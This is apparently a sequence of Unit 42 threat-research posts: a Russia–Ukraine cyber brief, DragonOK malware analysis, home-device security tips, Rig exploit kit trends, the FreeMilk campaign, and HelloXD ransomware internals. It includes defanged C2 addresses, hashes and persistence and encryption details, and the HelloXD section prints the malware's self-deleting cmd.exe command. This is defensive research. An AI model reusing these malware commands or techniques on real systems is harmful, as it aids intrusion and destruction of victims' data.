Concurrent with the discovery of wiper malware, we also witnessed a second round of website defacements on Feb. 23.
These attacks appear to have copied the messaging template observed in attacks exploiting the OctoberCMS vulnerability a month earlier on Jan.14, while adding a .onion web address and a message in red font that translates to, “Do you need proof, see the link at the end.”
The .onion site links to an entity calling themselves “Free Civilian” and offering to sell databases containing the personal data of Ukrainian citizens.
Over the past 24 hours, the list of entities on the leaks section has expanded to 48 gov.ua domains and one Ukranian company (motorsich[.
]com) that builds engines for airplanes and helicopters.
Our team analyzed the larger trends regarding Ukraine-related phishing and scam URLs detected by Advanced URL Filtering.
We noticed an overall increase in the detection of websites that host phishing and scam URLs on domains using Ukraine-related TLDs such as gov.ua and com.ua, or containing popular Ukraine-related keywords such as "ukraine" and "ukrainian".
This trend correlates with an increase in Google searches for terms like "Ukraine aid."
The increase in online searches containing Ukraine-related keywords likely makes such URLs a more lucrative target for attackers, and past examples show that attackers are known for taking advantage of current events.
From January to late February, it appears that the number of Ukraine-related phishing and scam sites largely followed a similar trend as Ukraine-related internet searches; however, the number of phishing and scam sites has continued to rise through mid-late March as the situation remains ongoing.
Figure 8 shows that the number of Ukraine-related phishing/scam sites is currently continuing to rise about a month after the “Ukraine aid” search term started trending in Google search.
Among these phishing and scam URLs, we found a targeted phishing attack.
On March 16 while ingesting a third-party data feed, our in-house machine learning models detected a phishing webpage targeting a Ukrainian state administration employee.
The webpage is imitating a popular cloud file storage site.
Upon visiting the webpage, the “Username” field is pre-populated with the targeted employee’s email address, and the user is then prompted to enter in their password in order to view a sensitive document as shown in Figure 9.
Figure 9.
hxxps://startrackzm[.]com/wap-admin/ONE-DRIVE/one%20d%20%20no%20auto.php?Email=REDACTED@REDACTED.gov.ua.
A phishing webpage targeting a Ukrainian state administration employee, detected by our in-house machine learning models on March 16.Our teams at Palo Alto Networks are actively monitoring the phishing landscape surrounding Ukraine-related URLs and are sharing this threat intelligence with relevant authorities in Ukraine and internationally.
We are also sharing a list of IoCs that were detected as phishing and scam URLs.
Palo Alto Networks customers who subscribe to Advanced URL Filtering are already protected from these IoCs.
We monitored a list of 50 legitimate Ukraine-related domains (e.g., popular news and donation websites) and keywords (e.g., Ukraine, refugee) as targets for cybersquatting.
We detected 11,637 cybersquatting newly registered domains (NRDs) during February and March.
In particular, we noticed a sharp increase in the number of cybersquatting domains that were registered close to Feb. 24, as shown in Figure 10 below.
We manually analyzed a sample set of these cybersquatting domains.
Below we share some interesting case studies.
We identified more than two dozen domains requesting donations to support Ukraine.
A detailed analysis of these domains revealed that many of them are fake.
These donation websites provide little to no information about the associated organization and distribution of funds.
Many of these websites use cryptocurrency wallets (e.g., BTC, ETH) to accept payment (likely because these wallets are easy to set up and require no verification).
We also find that some websites are mimicking popular donation websites or organizations to trick users into paying them money.
We show some examples in Figure 11.
For instance, donatetoukraine[.
]com is pretending to be associated with the popular Come Back Alive campaign.
While the banking information shared on the donation website matches the original campaign website, we confirmed that the BTC wallet address is different from the actual.
We found a cybersquatting domain – save-russia[.
]today – that is launching DoS attacks on Ukrainian news sites.
Once a user opens the website in the browser, it starts making requests to various Ukrainian news sites and lists the number of requests made to each new site on the home page, as shown in Figure 12 below.
Figure 12.
A cybersquatting domain save-russia[.
]today is launching DoS attacks on Ukrainian news sites.
We strongly recommend that users be alert to the possibility of cybersquatting domains.
In particular, fake donation websites mimicking popular websites can be misleading, as described earlier.
Before donating money, we recommend checking whether the website is referenced and shared by the official charity or government organization.
Our teams at Palo Alto Networks will continue monitoring domain squatting attacks and work to protect customers against them.
We are also sharing a list of IoCs publicly and have shared this threat intelligence with relevant authorities in Ukraine.
We detected campaigns of fake downloads where threat actors have set up web pages to host malicious binaries.
We found that these campaigns were targeting Ukrainian users.
Most of these web pages show malicious binaries as popular browsers or communication apps in order to deceive users.
For example, we detected a website that was distributing a malicious binary by masquerading as a popular global communication app targeting users in Ukraine.
This domain is still active and trying to target Ukrainian users at the time of writing this post.
Note that Palo Alto Networks customers receive protections against such domains from the Next-Generation Firewall via Advanced URL Filtering, DNS Security and WildFire URL Analysis subscriptions.
We also found that these fake download campaigns rotate domains to distribute the same malicious binaries.
For example, we detected two domains distributing the same malicious binary where one domain was impersonating a popular, widely used video conferencing application and the other a widely used internet browser.
The distribution of fake browsers and communication apps targeting Ukrainian users at this time is concerning.
Our teams at Palo Alto Networks will continue to monitor and work to protect our customers against such attacks.
We are publicly sharing a list of IoCs and shared this threat intelligence with relevant authorities in Ukraine.
We also advise Ukrainian users to only install software and apps from verified and official websites.
Consistent with our previous reporting on the situation, Unit 42 continues to lead a company-wide effort to collect, evaluate and disseminate the latest intelligence on cyber activity related to Russia and Ukraine.
We are actively collaborating with our partners in industry and governments to share our analysis and findings based on our global threat telemetry network.
These efforts have enabled us to make near-daily updates to our platform to ensure our customers have the best protection possible.
This includes blocking hundreds of domain names, IP addresses and URLs for our customers related to newly discovered attacks.
We’ve updated and added signatures to the WildFire analysis and Cortex XDR Prevent and Pro products to block newly discovered vulnerabilities and malware including HermeticWiper.
Read more about Cortex XDR protections.
Our Threat Prevention and Web Application and API Security products added coverage for the OctoberCMS vulnerability exploited in the WhisperGate attacks, and we released an XSOAR Playbook to help organizations hunt for this threat.
Cortex Xpanse can assist with understanding and managing your organization’s attack surface as well as identifying vulnerable resources.
We have released public reports on the WhisperGate attacks and the infrastructure and tactics used by the Gamaredon group.
On the Unit 42 website, you will also find a free ATOM which contains a structured mapping of the Gamaredon group’s tactics aligned to MITRE’s ATT&CK framework.
As the situation continues to develop, we’ll continue to update our blog with the latest information.
There is no single action you can take to protect your organization against this threat.
Unlike a new malware family or vulnerability in the wild, the attacks we expect could come in many forms.
Several western governments have proposed broad recommendations focused on technical hygiene.
We consider these appropriate given the variety of tactics that Russian actors have used in the past.
We recommend organizations prioritize actions in the following four areas:
There is no way to know for certain what shape an attack may take, but taking these steps will help provide broad protection against what we expect to come.
Unit 42, the threat intelligence and security consulting arm of Palo Alto Networks, has a team of experts who can help your organization assess and test your security controls with proactive assessments and incident simulation services.
Because of the likelihood of ransomware attacks – or destructive attacks that pose as ransomware – it may be beneficial to focus on preparing in this area, particularly ensuring backup and recovery plans are in place.
We have distilled the knowledge we’ve gained from responding to hundreds of ransomware incidents into our Ransomware Readiness Assessment offering, which is designed to help organizations strengthen their processes and technology to mitigate threats like the ones we expect in the coming days and weeks.
If you think you may have been compromised by wiper attacks, Gamaredon, DDoS attacks or other cyber activity related to Russia-Ukraine, or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Threat Brief: Ongoing Russia and Ukraine Cyber Conflict (Jan. 20)
Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated Feb. 16)
Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot
Threat Briefing: Protecting Against Russia-Ukraine Cyber Activity
Palo Alto Networks Resource Page: Protect Against Russia-Ukraine Cyber Activity
Cortex XDR Protections Against Malware Associated with Ukraine and Russia Cyber Activity
CISA: Shields Up Technical Guidance
1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da
a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e
3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767
2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf
06086c1da4590dcc7f1e10a6be3431e1166286a9e7761f2de9de79d7fda9c397
Name Hermetica Digital Ltd
Thumbprint 1AE7556DFACD47D9EFBE79BE974661A5A6D6D923
Serial Number 0C 48 73 28 73 AC 8C CE BA F8 F0 E1 E8 32 9C EC
gcbejm2rcjftouqbxuhimj5oroouqcuxb2my4raxqa7efkz5bd5464id[.
]onion
Please see the IoCs on GitHub.
In Alert AA22-011A (updated March 1, 2022), the U.S. Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (DHS/CISA) identifies a selection of vulnerabilities that Russian advanced persistent threat (APT) groups are assessed to have exploited in the past, but recommends that users take action against a much broader list of known exploited vulnerabilities (KEVs).
The cited KEVs and their impacted devices – all of which can be identified using Cortex Xpanse – are:
Cortex Xpanse’s ability to index the entire internet helps organizations discover, prioritize, and remediate significant exposures on their attack surfaces – including all of the impacted services listed above.
We routinely observe vulnerable devices across the global internet, despite the fact that most of these CVEs are more than two years old.
Beyond Alert AA22-011A, CISA’s overarching guidance for attack surface reduction includes hardening of forward-facing network services, with prioritized patching of KEVs, as documented in Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities (KEV).
This directive requires agencies to remediate all vulnerabilities that CISA includes in their KEV catalog based on an assessment that the vulnerabilities “carry significant risk to the federal enterprise.” Learn more and see a detailed workflow example on the Palo Alto Networks SecOps blog, “How Xpanse Can Identify CISA-Identified Known Exploited Vulnerabilities.”
Updated April 1, 2022, at 11 a.m. PT.
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Palo Alto Networks Unit 42 used the AutoFocus threat intelligence service to identify a series of phishing attacks against Japanese organizations.
Using AutoFocus to quickly search and correlate artifacts across the collective set of WildFire and other Palo Alto Networks threat intelligence, we were able to associate the attacks with the group publicly known as “DragonOK.” [1] These attacks took place between January and March of 2015.
DragonOK has previously targeted Japanese high-tech and manufacturing firms, but we’ve identified a new backdoor malware, named “FormerFirstRAT,” deployed by these attackers.
See the “Malware Details” section for analysis of the three RATs and two additional backdoors deployed in this persistent attack campaign.
This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge.
The malware was included as an attachment intended to trick the user into opening the malware.
This included altering the icon of the executable to appear as other file types (Figure 1) as well as decoy documents to trick users into thinking they had opened a legitimate file.
Figure 1.
Icons used by malicious Sysget attachments.
All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews[.]info.
Sysget communicates with this server using the HTTP protocol; see the Malware Details section for specifics of the command and control traffic.
All five phishing campaigns targeted a Japanese manufacturing firm over the course of two months, but the final campaign also targeted a separate Japanese high-tech organization.
(Figure 2)
Figure 2.
Five Sysget samples used to target two Japanese organizations.
Four of the five Sysget variants included a form of decoy document to trick users into believing they had opened a legitimate file rather than malware.
Two of the executables used decoy documents that included information about obituaries.
Figure 3 shows a GIF file containing an obituary notice for a woman, while Figure 4 shows a Microsoft Word document containing the obituary of a man.
Figure 3.
Japanese decoy document containing an obituary notice for a woman.
Figure 4.
Japanese decoy document containing an obituary notice for a woman.
The Sysget sample with a PDF icon created a second executable, named Adobe.exe, which simply displayed the following warning.
Figure 5.
Error message generated by Adobe.exe
The final Sysget sample used a Microsoft Excel icon and opened an Excel document that contained cells filled with “XXXXXX.” (Figure 6)
Figure 6.
Excel spreadsheet with Xs in multiple rows and columns.
These Sysget variants appear to be a first stage payload in these attacks.
During analysis of this threat, we identified five additional backdoor tools hosted on biosnews[.
]info which may be downloaded by the Sysget variants once the attackers have established a foothold.
Three of the backdoors, NFlog, PoisonIvy, and NewCT have previously been publicly associated with DragonOK.
Additionally, the actors have now added the popular PlugX backdoor to their toolkit.
An additional backdoor appears to be a new, custom-built tool, which we have not previously associated with DragonOK or any other attack group.
We’ve named this tool “FormerFirstRAT” as it appears to be the names used by the developers to refer to their creations.
Figure 7 shows the relationship between these backdoors and their respective command and control servers.
Figure 7.
Relationship between five additional backdoors used by DragonOK and their C2 servers in this campaign.
The following section details the functionality of the malware deployed in this campaign.
Sysget/HelloBridge
In this campaign, Sysget samples were attached to e-mails and used various icons to trick users into infecting their systems.
The majority of these samples are self-extracting executables that contain both a malicious downloader, along with a legitimate file.
When the self-extracting executable is launched, the downloader and legitimate file are typically dropped in one of the following directories and then executed:
When the malicious downloader is executed, it begins by creating the 'mcsong[]' event in order to ensure one instance is running.
It then spawns a new instance of 'C:\\windows\\system32\\cmd.exe' with a window name of 'Chrome-Update'.
It attempts to obtain a handle to this window using the FindWindowW API call and then proceeds to send the following command to this executable.
This allows the malware to indirectly execute a command within the cmd.exe process.
This registry key will ensure an executable that it later downloads is configured to persist across reboots.
It then sends the 'exit' command to this executable, which will kill this particular process.
The malware then attempts to read the following file.
This file is used to store a key that is later used to decrypt data received during network communications.
If the file does not exist, it will make the following GET request:
The filename and name parameters are statically set in the above request.
The server responds with data similar to the following:
The first two pieces of data ('17' and 'gh204503254') are then written to the ibmCon6.tmp file referenced earlier.
The malware will copy itself to the %TEMP% directory with the executable name of 'notilv.exe'.
Due to the previously written registry key, this file will execute when the machine is restarted and the current user logs in.
The malware then makes the following request:
The filename and uid parameters are statically set in the above request.
The response data is decrypted using the RC4 cryptographic stream cipher.
The 'gh204503254' data that was previously downloaded is used as the key.
The following Python code can be used for decryption, using the 'gh204503254' key:
At this stage, the remote server can send a number of different responses.
The following example response will instruct the malware to download a remote executable file:
'filename.exe' is the path where the downloaded file will be stored, and '01234567890123456789012345678901' is the value supplied in the subsequent HTTP request.
When this command is received, the following example request is made:
At this point, the remote server will respond with an unencrypted file that the malware saves to the system.
The remote server can also send the following example response.
This response will instruct the malware to upload the specified file:
An example upload request can be seen below:
The remote server can also send the following example response.
This response will instruct the malware to execute the given command:
The results of this -execution are stored in a temporary text file in the %TEMP% directory.
These results are encrypted using the same technique mentioned previously.
An example upload of these results can be seen below:
PlugX
PlugX is a backdoor that is often used by actors in targeted attacks.
This version of PlugX attempts to disguise itself as a Symantec product.
The following icon is present in this sample:
Figure 8.
PlugX file uses Symantec logo icon.
Upon execution, the malware will install itself as a service with the following parameters:
It may also set the following registry key for persistence:
PlugX is a well-studied malware family with a long history of use in targeted attacks.
More information on its history is available at the following links.
FormerFirstRAT
This remote administration tool (RAT) is referred to as “FormerFirstRAT” by its authors.
FormerFirstRAT communicates using unencrypted HTTP over port 443; the use of mismatching ports and communication protocols is not uncommon in targeted attack campaigns.
In addition, port / protocol mis-match traffic can be an indicator of bad activity.
When the malware starts, it writes the following registry key to ensure persistence:
The malware then proceeds to send an HTTP POST request with information about the victim system.
The following information is collected:
The following settings are used for command and control:
The malware encrypts network communication using the AES128 encryption cipher.
It uses the MD5 of 'tucwatkins' in order to generate the key.
All data is sent via HTTP POST requests.
While not a distinct TTP, the author of this malware may be a soap-opera fan.
The following code demonstrates how you can decrypt the malware communications using Python:
The malware then enters a loop where it will send out periodic requests to the remote server.
The remote server has the ability to respond and provide instructions to the RAT.
We have identified the following functionalities:
An example HTTP POST request can be seen below.
NFlog
When loaded inside of a running process, NFlog begins by spawning a new thread.
This new thread is responsible for all malicious activities produced by this DLL.
Initially, the malware will set the following registry key:
Where [current_executable_filename] is the path to the current running executable, which is acquired via a call to GetModuleFileNameA.
This registry key ensures that the malware will persist across reboots when the current user logs in.
Multiple string obfuscation routines are included in this malware sample.
Strings contained in the binary are decrypted via a simple binary XOR against a single byte key of 0x25.
The malware proceeds to create a named event object of 'GoogleZCM' and uses this event in order to ensure only one instance of this malware is running at a given time.
The malware proceeds to make an attempt at binding to the local host on port 1139.
The malware attempts to ensure Internet connectivity by making a request to www.microsoft.com.
An example request is shown below.
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This time every year, people all over the world get new devices.
Regardless of what holiday(s) you may (or may not) celebrate, the end of the year is a time for people to give and receive some of the latest devices to come on to the market.
Nothing spoils a new gadget more than having some kind of security or privacy problem related to it.
After that, nothing spoils the fun and excitement of unboxing and playing with an exciting new device than trying to figure out what you need to do to use it with reasonable safety and privacy.
To that end, we’re providing some very basic, but critical steps that you, your family, your loved ones, and friends can take to ensure some basic security and privacy for new devices quickly and easily that can help you be safer and not spoil your unboxing fun.
In the vein of the holiday spirit, we’re providing a list of twelve short, simple recommendations that can help you have a happy, safe, and private holiday season.
1.
Use a Password Manager: Even though not all devices can use password managers directly, it’s still one of the best things you can set up.
PCs and Macs as well as smartphones and tablets increasingly support the use of password managers directly.
But even for devices that don’t, you can and should use a password manager to generate and store strong passwords for use on all devices in its vault.
Preferably, find a password manager that requires two-factor authentication.
2.
Protect Your Home Routers and Wi-Fi: In a home of computers, phones, tablets and IoT devices, nearly always the common point is the home router and Wi-Fi.
For most, it’s something they set up once and forget about.
But if you want to keep your home devices more secure, you need to make sure the underlying router and Wi-Fi are more secure.
Take time to ensure you have a good, complex, unguessable password.
This is where a password manager can help.
You may consider configuring it to not broadcast the SSID as well: that can make adding devices a little harder, but that means it’s even harder for people to try and join your home network.
3.
Set up More Secure Accounts on Your PCs and Macs: PCs and Macs (both desktop and laptop) are still around and as important as ever in the home.
Take time to set up an account for everyone with their own username and password.
Also, all modern operating systems allow you to make accounts “regular user” accounts rather than admin accounts.
Set everyone up as a “regular user” and set up a separate administrative account to use for maintenance.
If you have kids, avoid the temptation to let them all use one account or accounts without passwords: this is a chance for them to start to learn the right way to handle passwords by giving them their own and teaching them to never share that password.
You can generate the password for them and retain it as the “administrator” if you want for monitoring.
This also is an important lesson for kids to understand that privacy on computers isn’t absolute: the admin can always look at what they’re doing.
4.
Prevent Lost Tablets and Smartphones from Turning into Something Worse: Portable devices means an increased risk of loss or theft.
These days, our portable devices often have greater access to more sensitive information than our PCs and Macs do – in the form of mobile banking apps, wallet apps and stored credit cards.
All modern tablets and smartphones have settings you should enable before you take these portable devices out of your home:
a. Passcodes to lock the device.
b. Encryption of information on the device.
c. Lost device location.
d. Deleting or “wiping” data if too many bad passcodes are tried or if you active it remotely.
5.
Protect your Data on Smartwatches and Personal Fitness Devices: Smartwatches and personal fitness devices are similar to smartphones and tablets and have some of the same features.
In addition to using those features, you should take time to ensure you know what health information is being used and that the cloud account(s) these devices synchronize with have very strong passwords.
These devices gather some of your most personal information.
In some cases, the most serious risk isn’t around the device but the data being stored in the cloud.
6.
Be Smart with Your Smart Home: Smart home is an umbrella term for a diverse set of devices that have one thing in common: they all feature some kind of internet connectivity.
Each and every device will have its own security and privacy settings and it pays to take time to understand those BEFORE you put these to work in your home.
Across the board, though, making sure your home router and Wi-Fi have good security and that you’re using good, strong unique passwords when paring devices with apps (where possible) are easy things you can do for all these devices.
7.
Don’t Forget About Home Entertainment Apps, TVs and DVRs: When we think about home entertainment, there’s really two things you need to think about with security.
First is the security of the devices themselves.
In nearly all cases, good security around home routers and Wi-Fi will be the best thing you can do for the devices.
But home entertainment isn’t just the physical devices.
It’s the apps you use to view content.
All apps like those from Netflix, Amazon, Hulu and others have their own passwords to connect to their service, and attackers crack and sell compromised accounts to these services.
Because of this, make sure you’re using good, strong unique passwords for the apps you use on these devices.
This will also protect these apps on your tablets, smartphones, PCs and Macs.
8.
While You’re at it, Protect Your Gaming Consoles: Similar to home entertainment devices, gaming consoles have both the security of the actual device and then the security of the cloud-based accounts to deal with.
Just like with home entertainment devices, it’s the cloud-based account that attackers are more interested in.
Here again, taking time to set up good strong passwords is key.
Also, many gaming platforms now include a second means of authentication (typically a text sent to your phone): you can and should enable that, if at all possible.
9.
Configure User Profiles for Voice Assistants: Voice assistants are some of the newest devices out there, which means they’re the least known and understood.
The biggest risk that’s been popularly discussed is voice command hijacking by outside sources.
While a cool news story, it’s not been documented to be a broad risk, especially as devices get better at specific voice recognition.
For these devices, take time to configure individual user profiles as much as possible.
And many of these devices feature mute buttons that can functionally turn them off when you don’t need them.
If you haven’t been using it, consider using that feature.
10.
Use Smart Speakers Smartly: Smart speakers can be thought of as a subset of home assistants in that they are voice-activated devices in your home.
And many smart speakers have digital home assistants built into them, making the distinction even less clear.
This means that what you would do for security for your digital home assistant would apply to smart speakers as well.
However, one thing to consider is if all you really want or need is a smart music device, it may make sense to keep your purchases focused on devices that do only that.
This can improve your security by reducing the risk posed by features that you don’t want or need.
11.
Drive Safely and Securely with Smart Cars: While “car hacking” is something that you see in the news, the reality is that practical smart car security is more common than headlines may lead you to believe.
A key differentiating feature with smart cars is they often have “smart” lock and ignition systems that are tied to fobs and/or your devices (like a smartphone).
Good smart car security in this case means building on the good security around devices and good physical security.
Ensure that any connected smart devices have good security, especially to protect against loss or theft.
Make sure you only give fobs to people that you trust.
And ensure that any cloud-connected accounts have good passwords and use a second authentication method, if possible.
12.
Patch, Patch and Patch Some More: We close this list with patching because it is the most important thing you can do.
Few people like getting into the guts of devices to manage updates and the apps on them but the reality right now is that this is not only critical for security and privacy, it’s also sometimes a process that can only be done manually.
For every kind of device or system, you should think about and understand how you can do updates for:
a.
The “firmware”: this is the software that is on the physical device itself, like the actual router, the actual car or the actual DVR.
b.
The operating system on the device: Some devices don’t have an operating system separate from the firmware, but many do.
PCs and Macs have firmware and an operating system (Windows, macOS and Linux).
c. The apps and applications on the computer or device: Like we noted about home entertainment and gaming consoles, sometimes it’s the apps rather than the device itself that is important.
Many apps these days have auto-update capabilities.
But some don’t, so it’s important to make sure you know how apps get their updates.
If you take some time to understand these basic ideas and take these basic steps, you can ensure that you’ve got a good start on using new devices more safely and with better privacy during the holiday season.
Of course, this isn’t an exhaustive list.
And it’s always good to know about other features and capabilities, for example child safety controls.
But the start of a journey of a thousand miles begins with one step, and the start of a journey of a thousand days of using these new devices safely can start with these simple steps.
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What a difference a year makes in the threat environment.
In January 2017, Rig Exploit Kit (EK) was still in the middle of a strong run.
But when April 2017 came, Rig started a very marked decline.
You can see this in the chart below:
Figure 1: Hits for Rig EK from January 2017 through January 2018
We first noted the trend in our June 2017 research blog “Decline in Rig Exploit Kit”.
And now in our most recent research blog “Rig EK one year later: From Ransomware to Coin Miners and Information Stealers” we can see the decline in April wasn’t an anomaly: it was the start of a precipitous decline that may mark the fall of Rig EK and exploit kits altogether as you can see.
As with the rise and fall of other threat trends, there are many likely reasons for this.
As Unit 42 researcher Brad Duncan noted in June 2017 and January 2018, likely reasons for the decline of Rig EK include a declining browser target base, lack of new exploits, efforts to fight domain shadowing, criminal arrests, and on-going work by vendors to harden browsers.
But the decline and (hopeful) fall of Rig and other exploit kits isn’t the only story here.
The sudden rise of coinmining in response to the surging value of cryptocurrencies comes into this story as well.
This is because while Rig is down (and declining) it’s not totally out yet.
And we’re seeing what remains of Rig EK shift nearly wholesale from ransomware to information stealers and coinminers.
The shift to information stealers isn’t new: in many ways this is “back to the future” for Rig and EKs generally: they were in use before the surge in ransomware starting in 2013 and distributed information stealers and banking trojans in those early days.
But the adoption of coinmining is a new thing for Rig and EKs.
Given the trends we’ve seen generally with the sudden surge in coinmining tactics and techniques it’s not surprising.
As shown below, the volume of coinmining increase nearly 2,800% in a year.
Figure 2: Coin miner samples in January 2017 versus January 2018.
The criminals behind Rig and other EKs have always been focused on maximizing the financial return on their investment in using their wares.
And so, we can look at this shift away from ransomware back to information stealers and ahead to coinmining as a possible sign that the era of ransomware is passing at last.
We can’t say why this shift is happening.
It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry/ WanaCrypt0r, and Petya/NotPetya.
Or there could be a network effect at work and attackers are focusing on coinmining and away from ransomware because others are doing the same.
Whatever the reasons, though, the latest trends in a declining Rig EK give us a possible indicator of the overall future threat landscape.
That ransomware is finally on its way out, and that coinmining is taking its mantle as the primary focus for cybercriminals, and thus the threat we should all give primary focus for our prevention efforts.
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Unit 42 released details about a new spear phishing campaign called FreeMilk that uses a relatively new attack technique that can be highly effective.
This is the kind of technique that is likely to be aimed at high value targets.
Targets of these attacks are likely to be individuals with access to valuable or sensitive information such as members on a Board of Directors, C-level executives, military and political personnel, or those with compromising information such as journalists or activists.
Individuals close to those previously mentioned could also be used as part of the attack campaign such as an executive assistant to a CEO or even friends or family.
Phishing attacks are broad, leveraging email messages crafted around common, generalized topics in order to trick recipients into opening an email message and its attachments.
Attackers will cast a wide net, with no regard to who the victims are, hoping that a decent percentage of attacks are successful.
Spear phishing, like the name implies, is a more targeted form of phishing which incorporates a theme directly related to the target.
Using this approach, victims are more inclined to trust the sender, and open the email message and any attachments resulting in the success of the attack.
FreeMilk is an advanced spear phishing attack campaign that, instead of using a theme to lure targets into downloading a malicious attachment, hijacks an in-progress email conversation.
Simply explained:
Figure 1 Conversation Hijacking to Deliver Malware
Unit 42 observed this specific attack taking advantage of a vulnerability in Microsoft Office, which has a patch available.
To protect against FreeMilk and attacks alike, ensure your systems and devices are updated with the latest operating systems and security patches.
Additionally, multiple layers of security for devices and networks create additional layers of protection to prevent against these types of attacks.
For example, multi-factor authentication would prevent an attacker from abusing stolen credentials, hindering their ability to access an email account and successfully complete the FreeMilk attack campaign.
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HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.
During our research we observed multiple variants impacting Windows and Linux systems.
Unlike other ransomware groups, this ransomware family doesn’t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.
Unit 42 performed an in-depth analysis of the ransomware samples, the obfuscation and execution from this ransomware family, which contains very similar core functionality to the leaked Babuk/Babyk source code.
It was also observed that one of the samples deployed MicroBackdoor, an open-source backdoor allowing an attacker to browse the file system, upload and download files, execute commands, and remove itself from the system.
We believe this was likely done to monitor the progress of the ransomware and maintain an additional foothold in compromised systems.
During the analysis of the MicroBackdoor sample, Unit 42 observed the configuration and found an embedded IP address, belonging to a threat actor we believe is potentially the developer: x4k, also known as L4ckyguy, unKn0wn, unk0w, _unkn0wn and x4kme.
Unit 42 has observed x4k in various hacking and non-hacking forums, which has linked the threat actor to additional malicious activity such as:
Palo Alto Networks detects and prevents HelloXD and adjacent x4k activity with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).
Due to the surge of this malicious activity, we’ve created this threat assessment for overall awareness.
HelloXD Malware Overview
Packer Analyses
Ransomware Internals
WTFBBQ Pivots
Hunting for Ransomware Attribution
Conclusion
Indicators of Compromise
Additional Resources
HelloXD is a ransomware family first observed in the wild on Nov. 30, 2021.
This ransomware family uses a modified ClamAV logo in their executables.
ClamAV is an open-source antivirus engine used to detect malware.
We also have observed additional samples with different versions of the logo, which led us to believe the ransomware developer may like using the ClamAV branding for their ransomware.
Additionally, some of the observed samples include properties information that can be observed in Figure 1.
The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.
When executed, HelloXD tries to disable shadow copies to inhibit system recovery before encrypting files using the following commands embedded in the sample:
Additionally the ransomware does a ping to 1.1.1[.
]1 and asks to wait a timeout of 3000 milliseconds between each reply, quickly followed with a delete command to delete the initial payload.
cmd.exe /C ping 1.1.1[.
]1 -n 1 -w 3000 > Nul & Del /f /q
"C:\Users\admin\Desktop\xd.exe"
Two of the initial set of samples identified create a unique mutex containing the following message:
After those commands are executed, the ransomware finishes by appending the file extension .hello, alongside a ransom note titled Hello.txt (Figure 2).
The ransom note was modified between the observed samples.
In the first sample we encountered (Figure 3, left), the ransom note only linked to a TOX ID, whereas a later observed sample (Figure 3, right) links to an onion domain as well as a TOX ID (different from the one in the first version).
At the time of writing, this site is down.
The ransomware creates an ID for the victim which has to be sent to the threat actor to make it possible to identify the victim and provide a decryptor.
The ransom note also instructs victims to download Tox and provides a Tox Chat ID to reach the threat actor.
Tox is a peer-to-peer instant messaging protocol that offers end-to-end encryption and has been observed being used by other ransomware groups for negotiations.
For example, LockBit 2.0 leverages Tox Chat for threat actor communications.
When observing both variants executing on virtual environments, we noted that the more recent variants changed the background to a ghost – a theme we’ve noticed in this threat actor’s work since our earliest observations of it.
However, the previous version didn’t change the background at all – it simply left the ransom note we observed previously (Figure 4).
During analysis and threat intel gathering, we discovered two main packers used for HelloXD ransomware binaries, as well as for other malware samples linked to the potential author (Figure 5).
The first type of packer is a modified version of UPX.
The code is extremely similar between UPX-packed binaries and the custom packer, however the custom packer avoids using identifiable section names such as .UPX0 and .UPX1, and leaves the default .text, .data, and .rsrc names unchanged.
There are also no magic bytes within the packed payload, unlike UPX-packed binaries, which contain the magic bytes UPX!.
However, a dead giveaway that the sample is packed is the raw size of the .text section, which is zeroed out, while the virtual size is much larger, as expected; this is identical to a .UPX0 section.
As there is no data within the .text section on disk, the entry point of the unpacking stub is within the .data section, which will unpack the malicious code into the .text section on runtime.
All of these details point toward the threat actor having modified or copied certain elements from the UPX packer, which can be further confirmed by comparing a UPX-packed binary with a custom-packed HelloXD binary.
The second packer we discovered consists of two layers, with the second being the custom UPX packer discussed above.
This particular packer seems to be more common on x64 binaries and involves decrypting embedded blobs using a seemingly custom algorithm containing unconventional instructions such as XLAT (Figure 6).
Aside from storing the encrypted second layer, there is little to no obfuscation within the packer; API calls such as VirtualAlloc and VirtualProtect are clearly visible, and there is no control flow obfuscation.
We have observed two different samples of the HelloXD ransomware publicly available, indicating it is still under development by the author(s).
The first sample is fairly rudimentary, with minimal obfuscation and typically paired with an obfuscated loader responsible for decrypting it through the use of the WinCrypt API before injecting it into memory.
The second sample, on the other hand, is far more obfuscated, and is executed in memory by a packer rather than a full-scale loader.
While the obfuscation and execution may differ between the two, both samples contain very similar core functionality, due to the author copying the leaked Babuk/Babyk source code in order to develop the HelloXD ransomware (Figure 7).
As a result, a lot of the function structure overlaps with Babuk, after getting past the obfuscation.
Table 1.
Ransomware sample comparison summary.
While there is a lot of overlap between HelloXD and Babuk, there are some small but crucial differences to take note of between Babuk and the two different variants.
HelloXD version 1 is the least modified, utilizing Curve25519-Donna and a modified HC-128 algorithm to encrypt file data, while also containing the same CRC hashing routine incorporating the string dong, possibly referencing Chuong Dong, who had previously analyzed and reported on the first version of Babuk (Figure 8).
The HelloXD author(s) did modify the infamous file marker and mutex however, opting for dxunmgqehhehyrhtxywuhwrvzxqrcblo as the file marker and With best wishes And good intentions… as the mutex (Figure 9).
With HelloXD version 2, the author(s) opted to alter the encryption routine, swapping out the modified HC-128 algorithm with the Rabbit symmetric cipher.
Additionally, the file marker changed again, this time to what seems to be random bytes rather than a coherent string.
